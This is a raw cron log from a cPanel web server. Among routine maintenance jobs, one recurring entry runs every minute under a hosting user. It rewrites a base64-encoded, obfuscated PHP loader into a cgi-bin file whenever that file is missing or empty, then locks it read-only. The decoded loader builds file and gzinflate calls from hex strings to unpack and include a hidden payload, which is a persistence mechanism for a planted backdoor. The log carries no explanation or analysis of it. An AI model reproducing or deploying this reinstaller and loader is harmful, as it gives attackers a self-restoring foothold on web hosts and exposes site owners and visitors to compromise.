Sep 11 11:32:01 server CROND[351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:32:01 server CROND[352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:33:01 server CROND[851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:33:01 server CROND[852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:33:01 server CROND[853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:34:01 server CROND[1329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:34:01 server CROND[1330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:34:01 server CROND[1331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:35:01 server CROND[1773]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:35:01 server CROND[1775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:35:01 server CROND[1781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:35:01 server CROND[1788]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 11:35:01 server CROND[1789]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:35:01 server CROND[1791]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:35:01 server CROND[1785]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 11:35:01 server CROND[1784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:35:01 server CROND[1790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:36:01 server CROND[2698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:36:01 server CROND[2699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:36:01 server CROND[2700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:37:01 server CROND[3062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:37:01 server CROND[3063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:37:01 server CROND[3064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:38:01 server CROND[3526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:38:01 server CROND[3527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:38:01 server CROND[3528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:39:01 server CROND[3902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:39:01 server CROND[3903]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 11:39:01 server CROND[3905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:39:01 server CROND[3904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:40:01 server CROND[4282]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:40:01 server CROND[4283]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:40:01 server CROND[4285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:40:01 server CROND[4289]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:40:01 server CROND[4286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:40:01 server CROND[4287]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:40:01 server CROND[4284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:40:01 server CROND[4288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:41:01 server CROND[5104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:41:01 server CROND[5106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:41:01 server CROND[5105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:42:01 server CROND[5475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:42:01 server CROND[5476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:42:01 server CROND[5477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:42:01 server CROND[5478]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 11:43:01 server CROND[5852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:43:01 server CROND[5853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:43:01 server CROND[5854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:44:01 server CROND[6242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:44:01 server CROND[6243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
